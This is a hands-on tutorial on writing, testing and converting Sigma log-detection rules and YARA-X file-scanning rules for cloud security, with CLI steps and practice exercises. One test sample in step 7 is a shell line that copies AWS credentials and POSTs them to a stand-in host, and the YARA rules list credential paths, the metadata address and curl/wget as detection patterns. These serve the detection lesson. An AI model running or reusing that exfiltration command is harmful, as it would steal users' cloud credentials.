Sigma and YARA, hands-on

Two rule formats, two completely different jobs

These get taught together and they are not the same kind of thing at all. Getting the distinction right early saves you from trying to use one where the other belongs.

• Sigma describes a pattern in log events, in a vendor-neutral way, and is then compiled into whatever query language your SIEM speaks. It is a portability layer. A Sigma rule never executes; a translated query does.
• YARA describes a pattern in bytes: a file, a memory region, a process image. It is an engine as well as a format, and the rule really does execute against content.

The cloud security reason to know both is that the two halves of an investigation need different tools. "Who assumed this role from an unexpected IP" is Sigma territory. "Is this Lambda deployment package the same malicious bundle we found last month" is YARA territory. An incident usually needs both, and the handoff between them is where a lot of real work happens.

Both are also detection-as-code in the literal sense: text files that belong in git, get code review, and can be tested. That is the actual reason to prefer them over rules typed into a console.

Sigma: portable log detections

1. Install the toolchain

mkdir -p ~/detect-lab && cd ~/detect-lab

python3 -m pip install sigma-cli     # or: pipx install sigma-cli
sigma version

# Backends are plugins, installed separately. See what exists first.
sigma plugin list
sigma plugin install splunk

2. The anatomy of a rule

Save this as aws_cloudtrail_access_denied_burst.yml. The filename matters more than you would expect, and step 3 explains why.

title: Access Denied Burst From Single Source
id: 7c8f1f2a-3b4c-4d5e-8f90-1a2b3c4d5e6f     # a UUID, generated once, never reused
status: experimental                          # experimental | test | stable | deprecated
description: Repeated AccessDenied results from one source, a common sign of
  credential validation or enumeration after a key leak.
references:
  - https://csoh.org/howto/sigma-and-yara.html
author: CSOH
date: 2026-08-24

tags:
  - attack.discovery      # MITRE ATT&CK tactic
  - attack.t1580          # and technique: Cloud Infrastructure Discovery

# logsource is what a processing pipeline keys off to find your data.
logsource:
  product: aws
  service: cloudtrail

detection:
  # Each named block is a "search identifier". Keys ANDed, list values ORed.
  selection:
    errorCode: AccessDenied
  filter_known_scanner:
    userIdentity.arn|startswith: 'arn:aws:sts::111122223333:assumed-role/config-recorder/'
  condition: selection and not filter_known_scanner

falsepositives:
  - Misconfigured application retrying with stale credentials
  - Least-privilege rollout in progress
level: medium                                 # informational | low | medium | high | critical

The fields people skip are the ones that decide whether the rule survives contact with a real SOC. falsepositives is the note the analyst reads at 3am before deciding whether to escalate. level drives routing. id is how a rule stays identifiable after somebody renames the file.

Value modifiers do the matching work: |contains, |startswith, |endswith, |re for a regular expression, |cidr for network ranges, |all to require every item in a list rather than any, and |base64offset|contains for finding a string that has been base64-encoded at an unknown alignment.

3. Validate before you convert

sigma check aws_cloudtrail_access_denied_burst.yml

Expect Found 0 errors, 0 condition errors and 0 issues. Now rename the file to something short like rule.yml and run it again: you get a high-severity FilenameLengthIssue. That check exists because SigmaHQ rules live in a flat directory of thousands, where a descriptive filename is the only navigation there is. Put sigma check in CI over your rule directory and this class of drift never accumulates.

4. Convert it, and meet the pipeline requirement

sigma convert -t splunk aws_cloudtrail_access_denied_burst.yml

That fails, deliberately, telling you to choose a processing pipeline or pass --without-pipeline. This is the single most important thing to understand about Sigma and the tool refuses to let you skip it.

sigma list pipelines splunk        # what mappings ship with this backend

# Now, knowing what you are giving up:
sigma convert -t splunk --without-pipeline aws_cloudtrail_access_denied_burst.yml

Which produces:

errorCode="AccessDenied" NOT userIdentity.arn="arn:aws:sts::111122223333:assumed-role/config-recorder/*"

Read what the compiler did. |startswith became a trailing *, and not became NOT. That is the whole value proposition: the same rule targets Elastic, Sentinel, QRadar, Carbon Black, or SentinelOne by changing one flag, and each backend knows its own dialect's quirks.

5. Correlation rules

The rule above fires on a single denied event, which is noisy and not really what the title claims. "A burst" is a count over a window, and that needs a Sigma correlation rule: a second YAML document that references the first by name.

---
title: Access Denied Burst From Single Source
id: 1f2e3d4c-5b6a-4789-9012-3456789abcde
status: experimental
correlation:
  type: event_count
  rules:
    - aws_cloudtrail_access_denied          # the `name:` of the base rule
  group-by:
    - sourceIPAddress
  timespan: 10m
  condition:
    gte: 10
level: high

Correlation types cover event_count, value_count (distinct values, which is how you express "one principal touching many buckets"), and temporal (several different rules firing near each other). Backend support for correlation is genuinely uneven, so check before you build a detection strategy on it.

YARA: patterns in bytes

6. Install YARA-X, not YARA

brew install yara-x      # or: cargo install yara-x-cli
yr --version

YARA-X is the Rust rewrite from VirusTotal. Version 1.0 went stable in June 2025, VirusTotal runs it in production for Livehunt and Retrohunt, and the original YARA 4.x line is in maintenance mode receiving bug fixes only. The command is yr, not yara, and the subcommands are scan, compile, fmt, dump, deps, and fix.

Rules are broadly compatible in the direction that matters: existing YARA rules generally work on YARA-X. Do not assume the reverse.

7. Write a rule, and a target to test it on

cat > demo.yar <<'EOF'
rule Suspicious_Cloud_Credential_Theft
{
    meta:
        author      = "you"
        description = "Script that reads cloud credential files and exfiltrates over HTTP"
        date        = "2026-08-24"

    strings:
        // Text strings. ascii wide = match both single-byte and UTF-16
        // encodings, which is how the same string looks in a Windows binary.
        $cred1 = "/.aws/credentials"    ascii wide nocase
        $cred2 = "/.config/gcloud"      ascii wide nocase
        $imds  = "169.254.169.254"      ascii wide

        // fullword = must be delimited, so "curl" does not match "curling"
        $exfil1 = "curl" fullword ascii nocase
        $exfil2 = "wget" fullword ascii nocase

        // A regular expression string. RE2-style: no backreferences.
        $exfil3 = /https?:\/\/[a-z0-9.-]+\/(upload|collect|p)\b/ nocase

    condition:
        filesize < 512KB
        and any of ($cred*, $imds)
        and any of ($exfil*)
}
EOF

printf '#!/bin/sh\ncat ~/.aws/credentials > /tmp/loot\ncurl -X POST https://evil.test/collect -d @/tmp/loot\n' > sample.sh
printf 'just some ordinary text with the word curl in it\n' > benign.txt

8. Compile, scan, and read the evidence

yr compile demo.yar -o /dev/null     # syntax check without scanning anything

yr scan demo.yar sample.sh           # expect: the rule name and the filename
yr scan demo.yar benign.txt          # expect: nothing at all

Run both. benign.txt contains the word curl and correctly does not match, because the condition requires a credential indicator and an exfiltration indicator. That negative case is not a formality: it is the only thing distinguishing a working rule from one that matches half your filesystem.

yr scan -s demo.yar sample.sh

-s prints every matched string with its offset, length, identifier, and the actual bytes:

Suspicious_Cloud_Credential_Theft sample.sh
0xf:17:$cred1: /.aws/credentials
0x2d:4:$exfil1: curl
0x3a:25:$exfil3: https://evil.test/collect

This is how you debug a rule, and how you write up a finding. A match with no evidence is an assertion; a match with offsets is something a colleague can verify.

9. Conditions beyond "any of them"

rule Repeated_IMDS_Access
{
    strings:
        $imds = "169.254.169.254"
    condition:
        // #ident = how many times it matched
        // @ident[n] = the offset of the nth match (1-based)
        #imds >= 2 and @imds[1] < 200
}

// File-type anchoring. uint16(0) reads two bytes little-endian at offset 0;
// 0x5A4D is "MZ", the DOS header every Windows PE starts with.
rule Is_Windows_PE
{
    condition:
        uint16(0) == 0x5A4D and filesize > 1KB
}

Anchoring on structure rather than content is what makes a rule fast. YARA scans everything you point it at, so a rule that can rule out a file in two bytes is worth far more than one that has to search the whole thing. The pe, elf, math, and hash modules go further, exposing parsed structure such as imports, sections, and entropy.

10. Keep rules in git like code

yr fmt demo.yar             # rewrite in canonical style
yr fmt --check demo.yar     # exit 1 if it WOULD be rewritten - a CI gate

yr fmt --check and sigma check are the same idea applied to the two formats, and both belong in the same pipeline as the rules themselves.

Hands-on exercises

detection:
  selection:
    eventName:                       # a list of values is an OR
      - PutBucketPolicy
      - PutBucketAcl
  filter_terraform:
    userIdentity.arn|startswith: 'arn:aws:sts::111122223333:assumed-role/terraform-deploy/'
  condition: selection and not filter_terraform

rule Credential_Stealer
{
    strings:
        $a = "aws"
        $b = "curl"
        $c = "cat"
    condition:
        any of them
}

rule Credential_Stealer
{
    strings:
        $path  = "/.aws/credentials" ascii nocase
        $imds  = "169.254.169.254"   ascii
        $send1 = "curl" fullword ascii nocase
        $send2 = "wget" fullword ascii nocase
    condition:
        filesize < 512KB
        and any of ($path, $imds)      // a credential source, AND
        and any of ($send*)            // a way to send it off the box
}

Common mistakes

• Converting Sigma without a processing pipeline. You get a valid query full of field names your SIEM has never heard of, and it returns zero results forever.
• Skipping falsepositives and level. These are what an analyst uses to triage. A rule without them generates alerts nobody knows what to do with, which is how a detection programme loses its credibility.
• Reusing or omitting the Sigma id. It is the stable identity that survives renames, forks, and upstream merges.
• YARA strings that are short, common English words. Combined with any of them this matches most of a filesystem. Use fullword, longer strings, and require indicators from more than one group.
• Never running a rule against benign data. Both formats. Testing only against known-bad proves nothing about specificity.
• Forgetting ascii wide for Windows targets. A UTF-16 string in a binary does not match an ASCII pattern, and this silently halves your coverage.
• Expecting PCRE inside YARA or Sigma regex. Both are RE2-flavoured. No backreferences, no lookaround. See the regex page.
• Using Sigma for posture and YARA for events. Wrong tool, and the resulting rule usually cannot express the thing you actually care about.